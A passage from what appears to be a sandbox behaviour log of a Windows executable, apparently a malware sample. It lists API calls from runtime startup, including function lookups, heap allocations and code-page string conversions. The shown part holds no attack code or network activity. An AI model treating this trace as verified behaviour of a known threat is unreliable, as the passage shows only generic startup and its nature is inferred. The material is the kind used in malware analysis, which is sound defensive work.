lpProcName="DeleteDC") returned 0x75ae58b3 [0043.961] GetProcAddress (hModule=0x75ad0000, lpProcName="CreateDCA") returned 0x75ae7bcc [0043.961] GetProcAddress (hModule=0x75ad0000, lpProcName="CreateCompatibleDC") returned 0x75ae54f4 [0043.961] GetProcAddress (hModule=0x75ad0000, lpProcName="CreateCompatibleBitmap") returned 0x75ae5f49 [0043.961] LoadLibraryA (lpLibFileName="msvcr100.dll") returned 0x749c0000 [0043.967] GetProcAddress (hModule=0x749c0000, lpProcName="atexit") returned 0x749dc544 [0043.967] atexit (param_1=0x33e0920) returned 0 [0043.967] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18f200 | out: lpSystemTimeAsFileTime=0x18f200*(dwLowDateTime=0x88a9cc00, dwHighDateTime=0x1d56c59)) [0043.967] GetCurrentThreadId () returned 0xa6c [0043.967] GetCurrentProcessId () returned 0xa68 [0043.967] QueryPerformanceCounter (in: lpPerformanceCount=0x18f1f8 | out: lpPerformanceCount=0x18f1f8*=16421916510) returned 1 [0043.967] GetStartupInfoW (in: lpStartupInfo=0x18f190 | out: lpStartupInfo=0x18f190*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2B74.TMP.EXE.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x76c33519, hStdOutput=0x7714fd35, hStdError=0x771b7daf)) [0043.967] GetProcessHeap () returned 0x3500000 [0043.967] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0043.967] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0043.967] GetProcAddress (hModule=0x76c20000, lpProcName="FlsFree") returned 0x76c3359f [0043.967] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0043.968] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0043.968] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionEx") returned 0x76c34d28 [0043.968] GetProcAddress (hModule=0x76c20000, lpProcName="CreateEventExW") returned 0x76cb410b [0043.968] GetProcAddress (hModule=0x76c20000, lpProcName="CreateSemaphoreExW") returned 0x76cb4195 [0043.968] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadStackGuarantee") returned 0x76c3d31f [0043.968] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThreadpoolTimer") returned 0x76c4ee7e [0043.968] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadpoolTimer") returned 0x7717441c [0043.968] GetProcAddress (hModule=0x76c20000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7719c50e [0043.968] GetProcAddress (hModule=0x76c20000, lpProcName="CloseThreadpoolTimer") returned 0x7719c381 [0043.969] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThreadpoolWait") returned 0x76c4f088 [0043.969] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadpoolWait") returned 0x771805d7 [0043.969] GetProcAddress (hModule=0x76c20000, lpProcName="CloseThreadpoolWait") returned 0x7719ca24 [0043.969] GetProcAddress (hModule=0x76c20000, lpProcName="FlushProcessWriteBuffers") returned 0x77150b8c [0043.969] GetProcAddress (hModule=0x76c20000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x7720fde8 [0043.969] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessorNumber") returned 0x771a1e1d [0043.969] GetProcAddress (hModule=0x76c20000, lpProcName="GetLogicalProcessorInformation") returned 0x76cb4761 [0043.969] GetProcAddress (hModule=0x76c20000, lpProcName="CreateSymbolicLinkW") returned 0x76cacd11 [0043.969] GetProcAddress (hModule=0x76c20000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0043.969] GetProcAddress (hModule=0x76c20000, lpProcName="EnumSystemLocalesEx") returned 0x76cb424f [0043.969] GetProcAddress (hModule=0x76c20000, lpProcName="CompareStringEx") returned 0x76cb46b1 [0043.969] GetProcAddress (hModule=0x76c20000, lpProcName="GetDateFormatEx") returned 0x76cc6676 [0043.970] GetProcAddress (hModule=0x76c20000, lpProcName="GetLocaleInfoEx") returned 0x76cb4751 [0043.970] GetProcAddress (hModule=0x76c20000, lpProcName="GetTimeFormatEx") returned 0x76cc65f1 [0043.970] GetProcAddress (hModule=0x76c20000, lpProcName="GetUserDefaultLocaleName") returned 0x76cb47c1 [0043.970] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidLocaleName") returned 0x76cb47e1 [0043.970] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringEx") returned 0x76cb47f1 [0043.970] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentPackageId") returned 0x0 [0043.970] GetProcAddress (hModule=0x76c20000, lpProcName="GetTickCount64") returned 0x76c4eee0 [0043.970] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0043.970] GetProcAddress (hModule=0x76c20000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0043.971] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x3bc) returned 0x3522a90 [0043.971] GetCurrentThreadId () returned 0xa6c [0043.971] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x18) returned 0x3512a68 [0043.971] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x800) returned 0x3522e58 [0043.971] GetStartupInfoW (in: lpStartupInfo=0x18f160 | out: lpStartupInfo=0x18f160*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2B74.TMP.EXE.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x4242d8, hStdOutput=0x5bae2ccc, hStdError=0x7c)) [0043.971] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0043.971] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0043.971] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0043.971] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2B74.TMP.EXE.exe\" --Admin IsNotAutoStart IsNotTask" [0043.971] GetEnvironmentStringsW () returned 0x3523660* [0043.971] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0xaca) returned 0x3524138 [0043.971] FreeEnvironmentStringsW (penv=0x3523660) returned 1 [0043.971] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x511130, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2B74.TMP.EXE.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2b74.tmp.exe.exe")) returned 0x36 [0043.971] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0xc4) returned 0x3524c10 [0043.971] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x98) returned 0x3524ce0 [0043.971] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x3e) returned 0x3518708 [0043.971] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x6c) returned 0x3524d80 [0043.971] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x6e) returned 0x3524df8 [0043.971] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x78) returned 0x3513498 [0043.972] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x62) returned 0x3524e70 [0043.972] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x2e) returned 0x351e9a0 [0043.972] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x48) returned 0x351a6a0 [0043.972] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x28) returned 0x351e290 [0043.972] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x1a) returned 0x3522398 [0043.972] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x4a) returned 0x3524ee0 [0043.972] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x72) returned 0x3513518 [0043.972] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x30) returned 0x351e9d8 [0043.972] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x2e) returned 0x351ea10 [0043.972] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x1c) returned 0x35223c0 [0043.972] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0xd2) returned 0x3523660 [0043.972] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x7c) returned 0x3524f38 [0043.972] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x36) returned 0x3523740 [0043.972] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x3a) returned 0x3518750 [0043.972] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x90) returned 0x3523780 [0043.972] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x24) returned 0x351e2c0 [0043.972] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x30) returned 0x351ea48 [0043.972] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x36) returned 0x3523818 [0043.972] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x48) returned 0x351a6f0 [0043.972] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x52) returned 0x3523858 [0043.972] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x3c) returned 0x3518798 [0043.972] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x82) returned 0x35238b8 [0043.972] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x2e) returned 0x351ea80 [0043.972] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x1e) returned 0x35223e8 [0043.972] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x2c) returned 0x351eab8 [0043.972] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x54) returned 0x3523948 [0043.972] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x52) returned 0x35239a8 [0043.972] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x2a) returned 0x351eaf0 [0043.972] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x3c) returned 0x35187e0 [0043.972] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x54) returned 0x3524fd8 [0043.972] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x24) returned 0x351e2f0 [0043.972] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x30) returned 0x351eb28 [0043.972] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x8c) returned 0x3523a08 [0043.972] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x3524138 | out: hHeap=0x3500000) returned 1 [0043.973] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x800) returned 0x3523aa0 [0043.973] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x80) returned 0x35242a8 [0043.973] GetLastError () returned 0x0 [0043.973] SetLastError (dwErrCode=0x0) [0043.973] GetLastError () returned 0x0 [0043.973] SetLastError (dwErrCode=0x0) [0043.973] GetLastError () returned 0x0 [0043.973] SetLastError (dwErrCode=0x0) [0043.973] GetACP () returned 0x4e4 [0043.973] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x220) returned 0x3524330 [0043.973] GetLastError () returned 0x0 [0043.973] SetLastError (dwErrCode=0x0) [0043.973] IsValidCodePage (CodePage=0x4e4) returned 1 [0043.973] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f154 | out: lpCPInfo=0x18f154) returned 1 [0043.973] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18ec1c | out: lpCPInfo=0x18ec1c) returned 1 [0043.973] GetLastError () returned 0x0 [0043.973] SetLastError (dwErrCode=0x0) [0043.974] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f030, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0043.974] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f030, cbMultiByte=256, lpWideCharStr=0x18e998, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0043.974] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchSrc=256, lpCharType=0x18ec30 | out: lpCharType=0x18ec30) returned 1 [0043.974] GetLastError () returned 0x0 [0043.974] SetLastError (dwErrCode=0x0) [0043.974] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f030, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0043.974] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f030, cbMultiByte=256, lpWideCharStr=0x18e968, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0043.974] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0043.974] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchSrc=256, lpDestStr=0x18e758, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0043.974] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x18ef30, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ<,®[lñ\x18", lpUsedDefaultChar=0x0) returned 256 [0043.974] GetLastError () returned 0x0 [0043.974] SetLastError (dwErrCode=0x0) [0043.974] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f030, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0043.974] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f030, cbMultiByte=256, lpWideCharStr=0x18e988, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ阺BĀ") returned 256 [0043.974] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ阺BĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0043.974] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ阺BĀ", cchSrc=256, lpDestStr=0x18e778, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0043.974] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x18ee30, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ<,®[lñ\x18", lpUsedDefaultChar=0x0) returned 256 [0043.974] 